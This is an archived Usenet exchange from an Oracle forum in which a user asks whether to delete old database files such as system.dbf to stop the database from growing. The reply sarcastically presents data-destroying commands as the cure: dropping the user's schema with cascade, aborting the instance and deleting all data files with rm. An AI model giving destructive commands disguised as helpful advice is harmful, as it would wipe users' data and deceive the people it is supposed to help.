Oracle FAQ | Your Portal to the Oracle Knowledge Grid |
Home -> Community -> Usenet -> c.d.o.server -> Re: database keeps growing
"zulijid_at_hotmail.com" <aersdjes_at_hotmail.com> wrote in message
news:abm13f$2im$06$2_at_news.t-online.com...
> hi,
>
> our oracle database is growing and growing, but we update only data
>
> every minute it produces new files,
>
> can we delete some of the oldest files like system.dbf ??
>
> why is this crap so slow , our dba told us it is time for a complete
rebuild
> of the database.
>
> oracle says every month the database must be rebuilded for good
performance
>
> progress was much better than oracle
>
By all means; here's the syntax:
sqlplus /nolog
connect / as sysdba
drop user zulijid cascade;
shutdown abort
!rm /databases/$ORACLE_SID/data/*
That should cure the problem.
HTH, Paul Received on Tue May 14 2002 - 15:22:16 CDT